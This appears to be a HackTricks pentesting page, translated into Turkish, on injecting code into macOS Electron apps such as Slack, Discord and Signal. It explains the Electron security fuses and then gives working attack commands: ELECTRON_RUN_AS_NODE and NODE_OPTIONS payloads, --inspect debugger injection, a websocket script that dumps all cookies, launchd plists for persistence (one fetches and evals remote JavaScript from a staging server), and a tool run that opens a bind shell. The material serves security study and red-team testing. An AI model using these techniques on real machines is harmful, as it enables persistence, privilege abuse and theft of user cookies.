macOS Electron Applications Injection

Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

Electron nedir bilmiyorsanız burada birçok bilgi bulabilirsiniz. Ama şimdilik sadece şunu bilin ki Electron node çalıştırır. Ve node'un başka kodları çalıştırmasına izin veren bazı parametreleri ve çevresel değişkenleri vardır.

Electron Sigortaları

Bu teknikler bir sonraki aşamada tartışılacak, ancak son zamanlarda Electron, bunları önlemek için çeşitli güvenlik bayrakları ekledi. Bunlar Electron Sigortaları ve bunlar macOS'taki Electron uygulamalarının keyfi kod yüklemesini önlemek için kullanılanlar:

  • RunAsNode: Devre dışı bırakıldığında, kod enjekte etmek için çevresel değişken ELECTRON_RUN_AS_NODE kullanımını engeller.

  • EnableNodeCliInspectArguments: Devre dışı bırakıldığında, --inspect, --inspect-brk gibi parametreler dikkate alınmaz. Bu şekilde kod enjekte etmeyi önler.

  • EnableEmbeddedAsarIntegrityValidation: Eğer etkinse, yüklenen asar dosyası macOS tarafından doğrulanır. Bu dosyanın içeriğini değiştirerek kod enjeksiyonunu önler.

  • OnlyLoadAppFromAsar: Bu etkinse, app.asar, app ve son olarak default_app.asar sırasıyla aranmak yerine sadece app.asar'ı kontrol eder ve kullanır, böylece embeddedAsarIntegrityValidation sigortası ile birleştirildiğinde doğrulanmamış kod yüklemenin imkansız olduğunu garanti eder.

  • LoadBrowserProcessSpecificV8Snapshot: Etkinse, tarayıcı işlemi V8 anlık görüntüsü için browser_v8_context_snapshot.bin adlı dosyayı kullanır.

Kod enjeksiyonunu önlemeyen başka ilginç bir sigorta ise:

  • EnableCookieEncryption: Etkinse, diskteki çerez deposu işletim sistemi düzeyindeki şifreleme anahtarları kullanılarak şifrelenir.

Electron Sigortalarını Kontrol Etme

Bu bayrakları bir uygulamadan kontrol edebilirsiniz:

npx @electron/fuses read --app /Applications/Slack.app

Analyzing app: Slack.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled

Electron Sigortalarını Değiştirme

Belgelerde belirtildiği gibi, Electron Sigortalarının yapılandırması genellikle Electron ikili dosyası içinde yapılandırılmıştır ve içinde dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX dizesini içerir.

MacOS uygulamalarında bu genellikle application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework içinde bulunur.

grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches

RCE Kod Eklemek için Electron Uygulamaları

Bir Elektron Uygulamasının kullandığı harici JS/HTML dosyaları olabilir, bu nedenle bir saldırgan bu dosyalara kod enjekte edebilir ve bu dosyaların imzası kontrol edilmeyeceğinden uygulamanın bağlamında keyfi kodu çalıştırabilir.

Ancak, şu anda 2 kısıtlama bulunmaktadır:

  • Bir Uygulamayı değiştirmek için kTCCServiceSystemPolicyAppBundles iznine ihtiyaç vardır, bu nedenle varsayılan olarak artık bu mümkün değildir.

  • Derlenmiş asap dosyasının genellikle füze embeddedAsarIntegrityValidation ve onlyLoadAppFromAsar etkin olarak ayarlanmıştır.

Bu saldırı yolunu daha karmaşık (veya imkansız) hale getirir.

kTCCServiceSystemPolicyAppBundles gereksinimini atlamak mümkündür, uygulamayı başka bir dizine (örneğin /tmp) kopyalayarak, klasörü app.app/Contents olarak yeniden adlandırarak, asar dosyasını kötü niyetli kodunuzla değiştirerek, dosyayı tekrar app.app/Contents olarak adlandırarak ve çalıştırarak.

Asar dosyasından kodu açabilirsiniz:

npx asar extract app.asar app-decomp

Ve değiştirdikten sonra tekrar paketleyin:

npx asar pack app-decomp app-new.asar

ELECTRON_RUN_AS_NODE ile Uzaktan Kod Çalıştırma (RCE)

Belgelere göre, bu çevre değişkeni ayarlandığında işlem normal bir Node.js işlemi olarak başlatılacaktır.

# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

Eğer RunAsNode füzyonu devre dışı bırakılmışsa, ELECTRON_RUN_AS_NODE ortam değişkeni yok sayılacak ve bu çalışmayacaktır.

Uygulama Plist'ten Enjeksiyon

Burada önerildiği gibi, bu ortam değişkenini bir plist'te kötüye kullanarak kalıcılığı sürdürebilirsiniz:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

NODE_OPTIONS ile Uzaktan Kod Çalıştırma (RCE)

Payload'ı farklı bir dosyada saklayıp çalıştırabilirsiniz:

# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');

# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord

Eğer EnableNodeOptionsEnvironmentVariable kilidi devre dışı bırakılmışsa, uygulama başlatıldığında NODE_OPTIONS ortam değişkenini ihmal edecektir, ancak ELECTRON_RUN_AS_NODE ortam değişkeni ayarlanmışsa dikkate alınacaktır, bu durumda RunAsNode kilidi devre dışı bırakılmışsa da ihmal edilecektir.

ELECTRON_RUN_AS_NODE ayarlamazsanız, hata ile karşılaşırsınız: Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.

Uygulama Plist'ten Enjeksiyon

Bu ortam değişkenini bir plist'te kötüye kullanarak kalıcılığı sürdürebilirsiniz, aşağıdaki anahtarları ekleyerek:

<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
<key>NODE_OPTIONS</key>
<string>--require /tmp/payload.js</string>
</dict>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>

Denetim yaparak Uzaktan Kod Yürütme (RCE)

Bu kaynağa göre, Electron uygulamasını --inspect, --inspect-brk ve --remote-debugging-port gibi bayraklarla çalıştırırsanız, bir hata ayıklama bağlantı noktası açılacaktır böylece ona bağlanabilirsiniz (örneğin Chrome'dan chrome://inspect üzerinden) ve üzerine kod enjekte edebilirsiniz veya hatta yeni işlemler başlatabilirsiniz. Örneğin:

/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

Eğer EnableNodeCliInspectArguments füzesi devre dışı bırakılmışsa, uygulama başlatıldığında --inspect gibi node parametrelerini ihmal edecektir ancak ELECTRON_RUN_AS_NODE ortam değişkeni ayarlandığında bu da ihmal edilecektir eğer RunAsNode füzesi devre dışı bırakılmışsa.

Ancak, hala electron parametresi --remote-debugging-port=9229 kullanabilirsiniz ancak önceki yük işlemi diğer işlemleri yürütmek için çalışmayacaktır.

--remote-debugging-port=9222 parametresini kullanarak Electron Uygulamasından geçmiş (GET komutları ile) veya tarayıcının içinde şifrelenmiş olan çerezlerin (çünkü tarayıcı içinde şifrelenmiş ve onları verecek bir json uç noktası bulunmaktadır) bazı bilgileri çalmak mümkündür.

Bunu burada ve burada nasıl yapacağınızı öğrenebilir ve otomatik araç WhiteChocolateMacademiaNut veya basit bir betik kullanabilirsiniz:

import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()

Bu blog yazısında, bu hata ayıklama işlemi, başsız bir chrome'un keyfi dosyaları keyfi konumlara indirmesini sağlamak için kötüye kullanılmıştır.

Uygulama Plist'ten Enjeksiyon

Bu çevresel değişkeni bir plist'te kötüye kullanabilir ve kalıcılığı sürdürmek için şu anahtarları ekleyebilirsiniz:

<dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>--inspect</string>
</array>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>

Eski Sürümleri Kötüye Kullanarak TCC Atlatma

macOS'taki TCC daemonı uygulamanın yürütülen sürümünü kontrol etmez. Dolayısıyla, Electron uygulamasına kod enjekte edemezseniz önceki tekniklerden herhangi biriyle, uygulamanın önceki bir sürümünü indirip üzerine kod enjekte edebilirsiniz çünkü hala TCC ayrıcalıklarını alacaktır (Güven Önbelleği engellemezse).

JS Olmayan Kodları Çalıştırma

Önceki teknikler size Electron uygulamasının işlemi içinde JS kodunu çalıştırmanıza izin verecektir. Ancak, çocuk işlemler aynı kum havuzu profili altında çalışır ve TCC izinlerini miras alırlar. Bu nedenle, örneğin kameraya veya mikrofona erişmek için ayrıcalıkları kötüye kullanmak istiyorsanız, sadece işlem içinden başka bir ikili dosyayı çalıştırabilirsiniz.

Otomatik Enjeksiyon

electroniz3r aracı, yüklü olan savunmasız electron uygulamalarını bulmak ve üzerlerine kod enjekte etmek için kolayca kullanılabilir. Bu araç --inspect tekniğini kullanmaya çalışacaktır:

Kendiniz derlemeniz ve şu şekilde kullanmanız gerekmektedir:

# Find electron apps
./electroniz3r list-apps

╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
    Bundle identifier                             Path                                               
╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
com.microsoft.VSCode                         /Applications/Visual Studio Code.app
org.whispersystems.signal-desktop            /Applications/Signal.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.neo4j.neo4j-desktop                      /Applications/Neo4j Desktop.app
com.electron.dockerdesktop                   /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.github.GitHubClient                      /Applications/GitHub Desktop.app
com.ledger.live                              /Applications/Ledger Live.app
com.postmanlabs.mac                          /Applications/Postman.app
com.tinyspeck.slackmacgap                    /Applications/Slack.app
com.hnc.Discord                              /Applications/Discord.app

# Check if an app has vulenrable fuses vulenrable
## It will check it by launching the app with the param "--inspect" and checking if the port opens
/electroniz3r verify "/Applications/Discord.app"

/Applications/Discord.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using `kill -9 57739`

# Get a shell inside discord
## For more precompiled-scripts check the code
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell

/Applications/Discord.app started the debug WebSocket server
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`

Referanslar

Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated